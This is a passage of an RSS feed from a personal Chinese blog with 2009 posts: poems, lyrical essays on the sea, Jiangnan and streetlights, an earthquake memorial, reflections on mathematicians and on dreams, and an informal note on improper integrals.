虚幻的一切才真实。
你知不知道我默默在祈祷，
有一天你会回到我的怀抱。
你听不听到那忧伤的歌声？
它始终在我耳边轻轻萦绕。
算了，
累了，
睡了……</description></item><item><title>小谈瑕积分</title><link>https://changkun.de/blog/posts/%E5%B0%8F%E8%B0%88%E7%91%95%E7%A7%AF%E5%88%86/</link><pubDate>Thu, 20 Aug 2009 20:16:16 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%B0%8F%E8%B0%88%E7%91%95%E7%A7%AF%E5%88%86/</guid><description>本文是本人写于2009-08-20 20:16和2009-08-21 09:10两个时间段的文章，首次发在http://tieba.baidu.com/club/9314369/p/1996733 由于贴吧俱乐部功能的下线，现将本文转移到此，以防百度删除。
在本文中这样书写这些符号： 定积分 Int(f(x),上标,下标). 极限 lim(f(x),a→b)
在本文中，我们考虑一种广义积分，其积分区间倒是有界的，但是被积函数在区间之某些点处没有定义，并且在那些点附近是无界的。我记得课本上把这种点称之为瑕点。如：Int(1/sqrt(x),1,0)，被积函数1/sqrt(x)在x=0附近便是无界的，所以x=0就是一个瑕点。
在本文中，我们总假定f(x)与g(x)都是区间a&amp;lt;x≤b上的函数，并且对于任何a&amp;lt;u≤b，函数f(x)与g(x)皆在[u，b]上可积，此后不再每次声明。
定义：若lim(Int(f(x),b,u),u→a)=A，则称瑕积分Int(f(x),b,a)是收敛的，并且定义它的值为A.假如 lim(Int(f(x),b,u),u→a)不存在，则称Int(f(x),b,a)是发散的。
例：瑕积分I=Int(1/(x-a)^p,b,a)在p&amp;lt;1时收敛，而在p≥1时发散. 因为对于a&amp;lt;u&amp;lt;b,Int(1/(x-a)^p,b,u) = ① [1/(1-p)]*[(b-a)^(1-p)-(u-a)^(1-p)],当p≠1时, ② log((b-a)/(u-a)),当p=1时, 显然对于p&amp;lt;1, lim([(b-a)^(1-p)-(u-a)^(1-p)]/(1-p),u→a)=[(b-a)^(1-p)]/(1-p). 故I在p&amp;lt;1时收敛，但于P&amp;gt;1,P=1时, im([(b-a)^(1-p)-(u-a)^(1-p)]/(1-p),u→a),lim(log[(b-a)/(u-a)],u→a) 都不存在，故I在p≥1时发散.
瑕积分的理论和无穷积分的理论是完全平行的，所以，有如下结论： 1、Int(f(x),b,a)收敛（发散）的充要条件是：有a&amp;lt;c≤b,使Int(f(x),c,a)收敛（发散）. 2、若f(x)是非负的，则Int(f(x),b,a)收敛之充要条件是φ(u)=Int(f(x),b,u)为u的有界函数. 3、若有a&amp;lt;c≤b,使当a&amp;lt;x≤c时,0≤f(x)≤g(x),则 (i)当Int(g(x),b,a)收敛时,Int(f(x),b,a)收敛. (ii)当Int(f(x),b,a)发散时,Int(g(x),b,a)发散. 4、若Int(|f(x)|,b,a)收敛，则Int(f(x),b,a)收敛. 5、对于(a,b)上恒正的函数g(x),我们有 (i)设lim(f(x)/g(x),x→a)=μ，且μ≠0,则Int(f(x),b,a)与Int(g(x),b,a)同时收敛或者发散； (ii)设lim(f(x)/g(x),x→a)=0,则当Int(g(x),b,a)收敛时，Int(f(x),b,a)也收敛； (iii)设lim(f(x)/g(x),x→a)=+∞，则当Int(g(x),b,a)发散时，Int(f(x),b,a)也发散. 6、设lim(f(x)(x-a)^α,x→a)=μ≠0，则Int(f(x),b,a)在α＜0时收敛，而在α≥1时发散. 7、（关于瑕积分之Cauchy收敛原则[如果我没记错]）瑕积分Int(f(x),b,a)收敛之充要条件是：对于任给ε&amp;gt;0.恒有a&amp;lt;δ&amp;lt;b,使当a&amp;lt;u'&amp;lt;u''&amp;lt;δ时，|Int(f(x),u'',u')|&amp;lt;ε. 8、（关于瑕积分之Dirichlet检定法[如果我没记错]）设g(x)是恒正的，单调上升的函数，且lim(g(x),x→a)=0.若有常数M使对于一切u&amp;gt;a皆有|Int(f(x),b,u)|&amp;lt;M，则瑕积分Int(f(x)*g(x),b,a)收敛. 上述8条，论证和无穷积分的理论是基本相似的，各位如果有兴趣，可以自己试试看看，尝试证明，本人精力有限，便不再写出。
以上我们锁讨论者虽然只是一中类型的瑕积分，但它是典型的，比照着它，我们可考虑区间a≤x&amp;lt;c上的函数f(x)假定于任何u:a&amp;lt;u&amp;lt;c,函数f(x)皆在[a,u]上可积，若极限lim(Int(f(x),u,a),u→c)存在，则称瑕积分Int(f(x),c,a)收敛；否则，便说它是发散的，根据这定义，我们便不难证出瑕积分Int(φ(x),c,a)之各种基本性质. 还有一种瑕积分，其被积函数φ（x）仅定义在开区间(a,b)上，可任取a与b之间的一点c,假如瑕积分Int(f(x),c,a)与Int(f(x),b,c)皆收敛，则称瑕积分Int(f(x),b,a)收敛，并且定义Int(f(x),b,a)=Int(f(x),c,a)+Int(f(x),b,c).
例：对于瑕积分I=Int(log(sin(x)),π/2,0), 令y=1/sin(x),则当α&amp;gt;0时, lim(log(sin(x))/(1/sin^α(x)),x→0)=lim(-log(y)/y^α,y→∞)=0, 从而lim(log(sin(x))/(1/sqrt(x)),x→0)=lim(log((sin(x))/(1/sqrt(sin(x))))*(1/sqrt(sin(x))/(1/sqrt(x))),x→0)=0 根据前面的例题，积分Int(1/sqrt(x),1,0)收敛，从上文所写第五条之结论（ii）便知瑕积分I是收敛的。</description></item><item><title>再谈孤独的果实</title><link>https://changkun.de/blog/posts/%E5%86%8D%E8%B0%88%E5%AD%A4%E7%8B%AC%E7%9A%84%E6%9E%9C%E5%AE%9E/</link><pubDate>Sun, 02 Aug 2009 07:08:08 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%86%8D%E8%B0%88%E5%AD%A4%E7%8B%AC%E7%9A%84%E6%9E%9C%E5%AE%9E/</guid><description>死亡只是穿越世界，如同朋友远渡重洋，他们仍活在彼此的心中。因为他们必须存在，那份爱与生活无处不在。在这面神圣的镜子里，他们面对面相视，自由地交谈，坦诚而纯真。这就是朋友的安慰，尽管据说他们都要走向死亡，但他们的友谊和陪伴将因为不朽而永存。——————《哈利波特》</description></item><item><title>人生</title><link>https://changkun.de/blog/posts/%E4%BA%BA%E7%94%9F/</link><pubDate>Mon, 27 Jul 2009 13:14:14 +0000</pubDate><guid>https://changkun.de/blog/posts/%E4%BA%BA%E7%94%9F/</guid><description>尽管前方还有战斗，
但是我们拥有敌人没有的东西，
我们应该继续……</description></item><item><title>Thoughts After Being Willful Too Long</title><link>https://changkun.de/blog/posts/%E4%BB%BB%E6%80%A7%E4%BA%86%E5%A4%AA%E4%B9%85%E4%B9%8B%E5%90%8E%E6%83%B3%E6%B3%95/</link><pubDate>Sun, 21 Jun 2009 08:59:59 +0000</pubDate><guid>https://changkun.de/blog/posts/%E4%BB%BB%E6%80%A7%E4%BA%86%E5%A4%AA%E4%B9%85%E4%B9%8B%E5%90%8E%E6%83%B3%E6%B3%95/</guid><description>After being willful for so long,
I begin to miss who I was at the start.
Going around in circles,
yet somehow
I can&amp;rsquo;t find my way back to the beginning.
任性了 太久之后
我开始怀念 最初的我
兜兜转转
却
怎么也回不到 起点</description></item><item><title>繁星客栈</title><link>https://changkun.de/blog/posts/%E7%B9%81%E6%98%9F%E5%AE%A2%E6%A0%88/</link><pubDate>Wed, 27 May 2009 08:25:25 +0000</pubDate><guid>https://changkun.de/blog/posts/%E7%B9%81%E6%98%9F%E5%AE%A2%E6%A0%88/</guid><description>Nowadays, mathematicians tend to over-abstract things that in fact cannot be further abstracted, which not only dilutes the essence of concepts but also drives away potential students and users, and eventually, if this pathological mood is not cured, will make a lot of mathematicians breadless.
&amp;mdash;&amp;mdash;&amp;mdash;Euryugasaki
　余观天下学数众才，体察愈久，遗憾益多。开始决定献身数学时，大家都是聪明、愉快、可爱、活泼的，也是被别人视为天赋才俊。但是随着时间推进，一些人开始变愚蠢了，一些人开始变苦闷了，一些人开始变得令人讨厌了，一些人开始变古怪了，一些人变虚弱了。更过一些时间，一些人已经是白痴了，一些人已经自杀了，一些人已经是罪犯了，一些人已经是疯子了，一些人累死了。现在走在这条路上的或朝这条路上走的仍然是千千万万，各种悲剧天天发生。身是献了，但白献了。还搭上翘首期望的家人亲友以及一些无辜的关连者。 万幸偶有小成大成者，却同时也惹出一堆冤家对头，倾扎之惨烈，不亚于黑帮火并。暂时胜者担心报复，除时时努力固守城池以外，也终日疑神疑鬼，久而变态失常，最终众叛亲离者绝非鲜见；一时败者则卧薪尝胆，时时司机反扑，报得一箭之仇，然现实常常是仇难报，气难消，遂焦躁不安，怨天尤人，久而变得古怪，抑郁，甚至崩溃。 为何开始看起来的一桩好事会变得这样惨呢？主要是态度不对。古人练功修行讲的德字主要是就是讲态度要正确。现在很多人，由首先喜欢数学崇拜数学变成拿数学当商品工具谋名获利，并以所得多少作为衡量成功与否的标志，多数人因此走入歧途是必然的。正确的态度是你玩数学或你与数学玩。以玩得开心为最高宗旨。既不要想通过学数学抱得美人归，住进黄金屋，做得人上人，也不要想去光宗耀祖，恩泽乡里，更不要想去当所谓英雄为民族争光，报效国家，这些人充其量也就是被权贵玩来摆去的宠物狗。如果一开始就是以正确的态度学数言数，玩数之人就会永远保持聪明、愉快、可爱、活泼。如果是这样，我们看到的数学文章着作也决不是现在这样以狗狗互相威聂的方式写成声明书。</description></item><item><title>那片海</title><link>https://changkun.de/blog/posts/%E9%82%A3%E7%89%87%E6%B5%B7/</link><pubDate>Thu, 21 May 2009 07:20:20 +0000</pubDate><guid>https://changkun.de/blog/posts/%E9%82%A3%E7%89%87%E6%B5%B7/</guid><description>记忆中的海是粗犷的，是博大的。它波澜壮阔，一个浪头打来，如千军万马，在一刹那间冲上海岸来。不畏惧，更不退缩。这么比喻似乎有些委屈了它，我也只能用“海上涛头一线来”概括了。
今日的海，如此静谧安详，如此的细腻，也如此的摄人心魂。宛如古画上那温婉的女子，朝着你，微微的笑。很浅的，栀子花痛的感觉。
海从来都不是妖艳的，它是质朴的。那晶莹的蓝色，如一碧如洗的天空，如冬日温和的阳光，如瀑布上飞溅的水花。它不会刹那消失，令人觉得它如此的不可琢磨，而是就这么静静的，就在你的眼前，但又令你觉得如此神秘，如此的高贵，透着一种非凡的气质。
水天一色。
真的醉了，醉在这明丽的海里。
如此安静的海。
它似乎累了，倦了，于是入了梦乡。动是丽的，静是美的。只因为海的沉睡，便如同这世界都沉睡了一般。此时若从不远处传来若远若近的箫声，便真的像入了仙境了。
是的，凡这世界的事与物，都必有它的双面性。海再躁动，也必有柔和的一面。就如一首仙曲，也必有激昂有温和一般。
远处明净透彻的海面，映着夏日明媚的阳光。却没有了以往的汹涌澎湃，只留下沉默和那独有的恬静。
这令人神往的海。
该如何去描绘这美丽的海景呢？
那独具一格的魅力与风格是一般的海所不能及的。
那，这海，这水，这蓝，这天，这景，就如此轻易的夺去了我的心，如此轻易的使我醉了吧。
那天，那水，那蓝，那片不一样的海。</description></item><item><title>隔帘听</title><link>https://changkun.de/blog/posts/%E9%9A%94%E5%B8%98%E5%90%AC/</link><pubDate>Thu, 21 May 2009 07:19:19 +0000</pubDate><guid>https://changkun.de/blog/posts/%E9%9A%94%E5%B8%98%E5%90%AC/</guid><description>远水隐轻舟淡，暮雨飘飘落。
桃花醉脸红如火。
透内阁霞衾，掩门倚坐。
忆旧诺。
断肠人、怎不疑惑？
愁眉锁。新啼痕说。
万籁泣声多。
夜深梦境相思错。
寂寞愁思念，叹柔肠懦。
阅书所。
枕明月、盼故人坐。</description></item><item><title>路灯</title><link>https://changkun.de/blog/posts/%E8%B7%AF%E7%81%AF/</link><pubDate>Wed, 20 May 2009 03:56:56 +0000</pubDate><guid>https://changkun.de/blog/posts/%E8%B7%AF%E7%81%AF/</guid><description>夜幕降临，马路两侧数不清的路灯陆续亮起，把大都市照得流光溢彩。街灯是城市的一张靓丽的名片。
白天，一街一景的路灯，似城里的雕像，一条街一个样，路灯各不相同，沈阳是一街一灯，姿态光色个异，变幻莫测，没有重样的。这路灯悠闲无声地展现这座城、这条街的内函。夜晚，路灯把街巷照的如同白昼，它象一尊尊守护神，让人们倘徉在它温柔的灯光下，体验五光十色各不相同的丰采。
过去，城市的灯光，单调，昏暗，没有特色，只是高高的电线杆上一盏普通的电灯泡。后来改成水银灯，时亮时灭。改革开放三十年。路灯巨变。花样翻新，形态各异的路灯丛立在不同的街道。如今，路灯在街两侧几十层高楼窗口的灯光和高楼大厦的五光十色的霓虹灯衬映下，更显出它的温柔，它的妩媚，它的动人。一弯明月高悬苍穹，与路灯遥遥相望。人们三三两两，一边购物，一边闲谈。组成了城市喧嚣的人流，在霓虹灯的闪烁和路灯的照耀下，星星早已隐藏在城市的背后，只有一街一景的路灯打造出一道道靓丽的夜景。
路灯，象一幅画，象一曲歌，象一首诗。漫步在街灯下，感到暖暖的，温馨，浪漫，醉人。似春风扑面，走几步，身影晃动，一会拉长，一会缩短，一会变成几个身影在动，如梦如幻，似真似假，若有若无。那温和的灯光把两个靓丽的身影美妙地揉合在一起。这灯光传来千年的情，万载的风，织就袖底的紧握的一双手，荡起心头的雨。是那路灯，照亮情人回家的路。</description></item><item><title>祝纯数学永无用处 &amp; 数学家不后悔</title><link>https://changkun.de/blog/posts/%E6%95%B0%E5%AD%A6%E5%AE%B6%E4%B8%8D%E5%90%8E%E6%82%94/</link><pubDate>Wed, 20 May 2009 00:50:50 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%95%B0%E5%AD%A6%E5%AE%B6%E4%B8%8D%E5%90%8E%E6%82%94/</guid><description>祝纯数学永无用处。 在数学中，我们是仆人而不是主人。
我确信，数学的现实性不依赖与我们而存在，我们的作用是【揭示】或【观察】它。而我们所论证和夸张地命名为我们的“创造”的定理，实际上只是我们观察的记录。 我们将继续前进，直到我们找到某种确定的东西——或者，最起码，直到我们能确信没有什么是确定的。 数学中充满了光辉的成就，但它同时是一部灾难的记录。 数学不过是一个从定义和假设中抽取的结论体系，它必须保证一致性，除此以外数学家可以随心所欲地加以创造！
一个故事。 有个人有一大堆衣服要洗，于是到处找洗衣店。他发现一家店的窗口上挂着一块招牌：“此处洗衣”，就走了进去，把他的一大堆衣服放在柜台上。店主看上去有些吃惊。问：“这是干什么？”他答道：“我来洗衣服”“但这里不洗衣服”这次轮到这个人吃惊了。他指着牌子，“招牌怎么写的？”“哦，我们是造招牌的！” 我们不得不承认，我们只是数学的嘴巴！ 我们作为数学的嘴巴，传达了关于数学的种种神秘。 而到头来，我们什么也没得到。
末日 多数数学家抛弃了他们的传统和遗产，自然发生的秘密信息现在遇到的只是写紧闭双眼和迟钝的耳朵。数学家们躺在先辈的功劳薄上，幻想依靠昔日辉煌获得喝彩与支持。纯数学家则陷得更深，他们把应用数学家从同行会中驱除出去，妄想垄断数学家这个令人景仰的头衔，从而独自携取先人的名誉。他们丢弃了丰富的思想之源，花费着先人积累的宝贵财富，他们正沿着一丝微光走出了这个世界！
数学家不后悔 我这辈子发现了很多定理 今天我给大家现场讲讲我的经历 大家鼓掌~~~ 我的小时候 吵闹任性的时候 大人总会讲数学题来耍我 听的多了 我也会自己想问题了 大人都夸小孩我天赋异禀了 乖摸摸头你要听话 大人们都非常希望 小孩子是非常有前途的哈哈哈 随着我慢慢的长大 人们期待感都消失啦 我的努力 他们一句话就可以谋杀 獐死于麝 鹿死于角 危险和荣誉总是成正比哒 都没什么所谓 反正只要还有一个学者 我的爱好就不会放下 这不是一句空话 我算自己的题 我画自己的形 简简单单的喜欢 不需要那么多的评论 那些莫名仇恨的眼神 恨得那么深 恨得那么认真 把我当成假想敌呐 定理偏离实际本身 制造定义和理论 拿些稀里糊涂的理论 故作不经意的言论 多想自己一路攀升 不曾想没人搭理 蔫了蔫了 又骂我是大牌andersen 打着我的名义 到处是我师 徒 兄 弟 关系亲密 数学家们真是一家亲 浸着汗水的定理 你们尽数拿去 虚荣到底有什么意义 我真的不想去说 苦短人生 还有太多猜想要我去完成 保持沉默因为懒的同你们争论 谁说定理不分重要性 想要我反驳 请先掂量掂量你自己的身份 作茧自缚践踏自尊 我坐在观众席笑看 尔等的愚笨 让我用善良本性 书写纯美定理 画一幅诗意的形 净化你们的思想 数学界的月光 疑是地上冰霜 起身轻推纸窗 想 举头遥望明月 思定义思定理</description></item><item><title>烟波江南</title><link>https://changkun.de/blog/posts/%E7%83%9F%E6%B3%A2%E6%B1%9F%E5%8D%97/</link><pubDate>Sun, 17 May 2009 10:43:22 +0000</pubDate><guid>https://changkun.de/blog/posts/%E7%83%9F%E6%B3%A2%E6%B1%9F%E5%8D%97/</guid><description>梦的尽头，是遥不可即的深渊。
怅然于轻风中醒来，屋外，烟波流转，细雨朦朦。自己心里闷了，突然想到雨中走走。檐前汲起了众多的水柱，那是我所见过极透明清澈的水了，顺手带上墙角的油纸伞，迈着细碎的步子，走到门外。
好多年了，那条雨巷依旧还在。
只是想必，已经物是人非。
爱江南，爱它的淡雅和朦胧。心中多了些不切实际的想法，而且极快地占据了思想，并拖入另一个境界。
说不上是什么，也许可以描述为感伤。
晏小山写过：落花人独立，微雨燕双飞，这样凄凉的光景，在沉沉烟波的江南，曾听过的往事，渐渐浮上心来。
、曾是青黛配旗衫，素颜朝天，不沾一丝粉屑。曾是漠然的丹青客，手执水墨图。画别处的风景，再美，亦美不过这烟霭朦朦的水乡。像是一见如故的朋友一般，有一段或两段美好的记叙。波上清风，画船明月人归后。终免不了聚散匆匆，再是此恨年年有。
于是错过，在江南的故事中成了一个定数，解不开，放不下，又抓不住结局。任烟雨匀花了饰好的眉黛，随市井的喧嚣隐去了一场初见。同叔写到：多情不似无情苦，一寸还成千万缕。天涯地角有穷时，只有相思无尽处。似是写明了一些江南儿女的心情了。人若无情，生命，岂非过于沉重？
再看江南的瓦房，一例的黛色，也有墨蓝或天青色。
天晴时有挂在檐上的纸鸢。阳光很轻柔，却也穿透了鸢翼残破的星星点点的痕迹。各色的小风车，红绸子绑成的小辫，绣花的鞋子，我见，孩子们眼眉都弯作了月牙儿的形状。
这里的感觉又全然不是“别浦高楼曾漫倚，对江南千里”的味道了。
这样模糊不清的意味，与婉约词的感觉不谋而合。步虚词，醉琼枝。赋予了无穷无尽的伤痛，挥之不去。物是人非事事休，欲语泪先留。有人享受这种凄美，有人却惧怕这样沉默的离别。换作是我，还是向往江南的，在水乡，拥有该拥有的，错失该错失的，也是一种幸福。
末了，对长亭晚，骤雨初歇。
好一番烟波流转，欲将沉醉换悲凉，清歌莫断肠！</description></item><item><title>一路走来我</title><link>https://changkun.de/blog/posts/%E4%B8%80%E8%B7%AF%E8%B5%B0%E6%9D%A5%E6%88%91/</link><pubDate>Sat, 16 May 2009 15:00:00 +0000</pubDate><guid>https://changkun.de/blog/posts/%E4%B8%80%E8%B7%AF%E8%B5%B0%E6%9D%A5%E6%88%91/</guid><description>【一】繁华的诱惑 迷恋的折磨
揣着一份喜悦
一路走来了我
陌生在穿梭
孤独伴角落
寂寞唱着悲喜的歌
感觉有些饿
妈妈的嘱托
温暖了心窝
生活啊生活
就要去奔波
曲折中的颠簸
更需要一份执着
一路走来了我
风雨中漂泊
一曲坚强谱写的歌
塑造了成功的我
【二】期待的惶惑 机遇的蹉跎
带着一份承诺
一路走来了我
熟悉在磨合
谦卑加羞涩
青春趟过沉默的河
品尝着失落
姑娘的寄托
淡化了苦涩
生活啊生活
就要去拼搏
踌躇里的交错
更需要一份沉着
一路走来了我
苦乐中求索
一曲生命的交响乐
成就了辉煌的我</description></item><item><title>娱乐至死</title><link>https://changkun.de/blog/posts/%E5%A8%B1%E4%B9%90%E8%87%B3%E6%AD%BB/</link><pubDate>Fri, 15 May 2009 13:42:42 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%A8%B1%E4%B9%90%E8%87%B3%E6%AD%BB/</guid><description>媒介即隐喻。</description></item><item><title>我家的鹦鹉 &amp; 纪念 5.12</title><link>https://changkun.de/blog/posts/%E6%88%91%E5%AE%B6%E7%9A%84%E9%B9%A6%E9%B9%89/</link><pubDate>Thu, 14 May 2009 12:49:49 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%88%91%E5%AE%B6%E7%9A%84%E9%B9%A6%E9%B9%89/</guid><description>one. (^__^) 嘻嘻……，可爱吧~~
two.潇潇暮雨 雨，清洗着悲伤的灵魂，花怒放在墓旁，雨，滴答，滴答地垂落在花瓣上，漫天纷飞的雨。随风摇摆的柳枝，挥洒点滴雨露。雨，一直下…
天，微晴，春风吹拂着干枯的柳枝，随风摆动着，没有任何生命的气息，没有任何绿的迹象，天空清澈倒映出这个本应潇潇暮雨的季节。
花，微开，春风迷醉了南方的游人，湿润的空气，弥漫着雨的气息，处处桃红柳绿，天，是阴霾的灰色，遮挡了阳光，雨露从柳叶滑落。
夜，蔓延了整个北方的季节，光线摄入眼帘，一片烛火，一点点吞噬着暗黄的纸张，点燃了黑夜，一阵风吹过，黄纸带着火苗飘起，在空中燃烧殆尽，一点点黑色的残碎在风中吹散，消失在眼前。
街，整条街都在燃烧，燃烧着暗黄的纸张。一步步，擦身而过那些火光，每个人的脸上都是哀思，叹息声充斥着耳朵。无奈的燃烧，眼神呆滞，是在回味吗？不明白一切，人，总有离开的那天，直到那天，究竟会明白些什么？也许，死亡并不只是一种结束，他也是一种开始，亲人开始悲伤，事情开始回味，时间开始纪念，雨开始清洗历史的残骸。
明夜星辰，没有半点的阴霾，清明应是雨露的季节，而今，却无半点的雨迹。火，舔食着冥币，燃烧了黄纸，清明，清明，却为何无雨？
一个冰冷的温度，没有呼吸的感觉，痛苦渗透到骨髓，遍布全身。每个人都濒临崩溃的边缘，声嘶力竭地呼喊，失声地痛苦，浑浊的泪水从脸颊流下。
雨，就这样一直下着，五月的雨就这样的下着。地震后的一切都变了，这个陌生的废墟不是久违的亲切。到处都是尸体，惨不忍睹，孩子的哭声，母亲的哀伤，父亲的崩溃，老人的沙哑，不忍去打扰这个悲伤的五月，不忍去触碰这些受伤的灵魂。
只是一个地震，一个强烈的地震，上天开了一个小小的玩笑，是这个五月充斥了血与泪的色调。哭了，淋湿了大地，天哭了，淋湿了大地。痛失孩子的母亲跪在雨中，发出嘶哑地吼声，捶打着身躯，应该怎样去安慰？孩子的脸上，找不到一点微笑的痕迹。
我听见悲伤的钢琴在演奏雨的乐曲，忧伤，婉转，崩溃，叙述着这些个点点滴滴的故事，冰冷的泪水，这凄凉的夜，这是四月的夜，四日的夜，命运的交汇，生命的轮转。灵魂在哀思，痛苦地呻吟，挣扎着，撩起一层层遮盖起的云雾，清晰的回忆，像一把利刃重新割裂那些伤口，看见了，那些伤口，抓乱了头发，拼命地遗忘，却烙印在心里。
不能够呼吸了，好暗，看不到一切，就这样沉睡吧，就这样逃避，不愿去想明天应该这样，永远活在梦里，永远活在过去的记忆里，就这样紧紧地锁住自己。
雨一直下着，下在心里，逃避所有的痛苦，去选择这样的方式去放弃，很悲哀，很悲哀。胆怯，始终如此，在逃避的梦里，没有悲伤，没有痛苦，没有冰冷的体温，就这样沉睡着，不愿醒来，就这样去逃避。
殇花，怒放在潇潇暮雨的季节，雨，淋落在潇潇暮雨的地点。
花香清醒了双眼，一切都苏醒了，一片绚烂的阳光摄入窗口，抬起沉重的手，停滞在那一束阳光下，眨了眨眼睛，清澈的天空中没有半点尘埃，唧唧喳喳的鸟鸣，吵醒了一切，微微地起身，天亮了，梦醒了，回忆始终遗忘不了。微笑着，摘下床头的白色月季，盛开在春末夏初的花。一步，一步地迈向那边阳光沐浴的墓林中，很耀眼的光芒。花开了，一片色彩鲜艳的花丛，几只蝴蝶飞舞着，随风飘荡的花，摇曳着，弥漫着它的香气。
墓林里，盛开着无数的花，花的香气充斥着空气。迈开步伐，走向那边的累累坟墓，献上世界上独一无二的月季，祭，殇。
手中还残留着一点点香气，潇潇暮雨的香气，没有浓烈的味道，只有满满的感情。叹息着那些曾经，如电影一般，泛黄斑驳。是否应该这样忏悔地度过，抚摸着墓碑上刻下的字，清晰的记录了我的哀思。泪早已流干，流下了那些痕迹，随着时间的转动消失在天际。
忘记了，忘记了，嘱咐我，要好好的活下去，即使路途是艰难的，即使生活是寂寞的，即使眼泪是苦涩，都要好好的活下去。在你放手的那一刻，你面带微笑，你告诉我，好好的活下去，我忘记了，在痛苦中迷失了自我，忘记你的叮咛。
如果艰难是一次旅程，那么困惑是路，寂寞是雨，微笑是彼岸边的彩虹。拼命的度过那条困惑的路，只为寻找那天边的彩虹。
我们都曾迷惑，痛苦就像痛彻心扉的毒药。回忆无法割舍，但，事情终究会雨过天晴，下雨了，漫天纷飞的细雨，花瓣上的雨滴，滴落在枝叶上。清洗这片墓园，墓碑上的文字越发的清洗，雨水不断的落下，不断的落下……
滴答，滴答，雨滴落入房檐下的小水潭中，涤荡起点点涟漪，一圈一圈地回荡着，雨停了，清明节的雨是如此这般的宁静，原本阴霾的天空变的清澈起来。总以为这雨不会下，却在一瞬间清洗了这个季节。人生如此，总以为会一帆风顺的度过一辈子，却来了一场风雨，打破这原本平静的生活，可是雨后天晴，彩虹如此绚烂。
一年了，五月的雨停滞在记忆深处，四川下雨了吗？清明节，四亿清扫那累累的坟墓——国殇，五月十二日。
沉沦了这淡淡的哀思，无需言语，花瓣飘落，漫天的爱铺满了未来的路，再犀利的风霜也吹不散，春日里的彩虹，弥漫的花香，书写了那潇潇暮雨的季节。
&amp;hellip;&amp;hellip;&amp;hellip;..</description></item><item><title>不想说再见</title><link>https://changkun.de/blog/posts/%E4%B8%8D%E6%83%B3%E8%AF%B4%E5%86%8D%E8%A7%81/</link><pubDate>Wed, 13 May 2009 12:07:07 +0000</pubDate><guid>https://changkun.de/blog/posts/%E4%B8%8D%E6%83%B3%E8%AF%B4%E5%86%8D%E8%A7%81/</guid><description>【一】相逢总是笑脸 泪花来自心灵的甜
分别总是很难
思念牵着梦中的恋
那是快乐在相伴
心海衬托着蓝天
那是浪漫在上演
憧憬扬起了风帆
不想说再见
让友谊凝固了时间
不想说再见
让曾经定格为永远！
【二】相逢总是春天 温馨来自深情的暖
分别总是很难
失落坠入往日的缘
那是幸福在呼唤
情爱拨动着琴弦
那是美丽在上演
旋律加入了缠绵
不想说再见
让友爱穿越空间
不想说再见
让彼此拥有永远！</description></item><item><title>夏季。流年。昨</title><link>https://changkun.de/blog/posts/%E5%A4%8F%E5%AD%A3%E6%B5%81%E5%B9%B4%E6%98%A8/</link><pubDate>Tue, 12 May 2009 06:20:20 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%A4%8F%E5%AD%A3%E6%B5%81%E5%B9%B4%E6%98%A8/</guid><description>one 夏季。流年。 透过窗户 。可以很清晰的看见。 树叶。
斑斑驳驳的影子。
随风摇摆着 那么坦然。
阳光 明亮而又不刺眼。
柔和 温暖 芬芳。
从树叶间流走的。
从阳光下穿过的。
从一个又一个血红色的夏日晴天中蹒跚着走过的。
是时间。
现实或是记忆。
夏天 永远那么美好吧。
那么 。如果。
轻轻的 假装漫不经心地遗忘
闭上眼 似乎可以笑着说 原谅。
风揉乱了我影子的头发。
多年的陪伴。
一直 像 氤氲的花香。
弥漫着。却又飘散。
two 夏季。昨 天还是那么蓝那么澄澈。
叶子还是翠绿的闪烁着清凉的光泽。
校门口还是停放着一辆又一辆的自行车。
还是有人持笔如剑在练习册中不知疲倦的拼搏。
当一切灰飞烟灭荡然无存的时候。
最难过。
还是有那么多东西未曾改变 。清晰如昨。
three 夏季。 时光若有若无的哼唱着。
模糊不清的承诺。
你还在听么。
为什么笑着看向窗外。沉默。
four end…………</description></item><item><title>删除记忆</title><link>https://changkun.de/blog/posts/%E5%88%A0%E9%99%A4%E8%AE%B0%E5%BF%86/</link><pubDate>Sat, 09 May 2009 15:58:58 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%88%A0%E9%99%A4%E8%AE%B0%E5%BF%86/</guid><description>突然想明白了很多
昨天或者前天，或者一阵子前。
那些存在过的何必去怀恋。
那些已经何不释怀。
那些花儿。
那个人儿。
已经模糊就不需要再想起
已经淡忘就不需重新提及
已经失望也就不要希望了
记忆不能自己删除，记忆的痕迹却可以自己抹去.
忘记她，过全新的日子！
为了你，抹去记忆……</description></item><item><title>真与伪 善与恶</title><link>https://changkun.de/blog/posts/%E7%9C%9F%E4%B8%8E%E4%BC%AA-%E5%96%84%E4%B8%8E%E6%81%B6/</link><pubDate>Sat, 09 May 2009 05:29:29 +0000</pubDate><guid>https://changkun.de/blog/posts/%E7%9C%9F%E4%B8%8E%E4%BC%AA-%E5%96%84%E4%B8%8E%E6%81%B6/</guid><description>这样的两组概念：真与伪 善与恶。
组合到一起，可以形成几种组合？
4种。相信你能这样反应。
不过，这是错的。
真善，
伪善。
真恶，
伪恶，有吗？
没有。恶没有伪。
所以，答案只有三种。
说实话，现在除了热血漫画的主角，谁还会一天到晚吼叫着“我的梦想”、“梦想最高”、“去往梦想的尽头吧！”这样的语句，谁还会一天到晚把“梦想”这个听起来老土又好笑，无聊得让人直打哈欠的词挂在嘴边。事实上，面对未来，各种各样的不安与焦虑早就把我们搞得心烦意躁，单单是考虑怎样才能走向正确的道路已经让我们感到筋疲力尽了，谁还会把自己的未来这样隆重的东西托付给虚无飘渺的，有时候甚至连影子也看不到的梦想呢。你趴在桌子上反复计算，加减乘除，代数反函数，甚至用上了几何跟概率，你发现每一页的结果都显示，风险最低回报最大的那一条路，无论怎么看，都是身边所有人都正在走的那一条路，都是父母给你安排的那一条路，你甚至在计算的最后看见自己安逸又舒适的未来。
那么其实你是知道的，梦想这种东西，你想矫情你想热血的时候无论说多少遍都可以，但你是不应该舍弃一切奋不顾身地去追寻它的。
“你只要好好地想想现在自己应该做什么，然后脚踏实地地逐步实行。”
你首先要做的是什么呢？
其实惟一可以肯定的也许由始至终只有，即使很辛苦，肯定有失败，哪怕会后悔，但只要能够向前走，你所走出的每一步，都会让你比之前自己更接近遥远的星辰。
一定要有梦想，一定要相信梦想，一定要实现梦想。总有一天，时间会为我们刻下永恒。
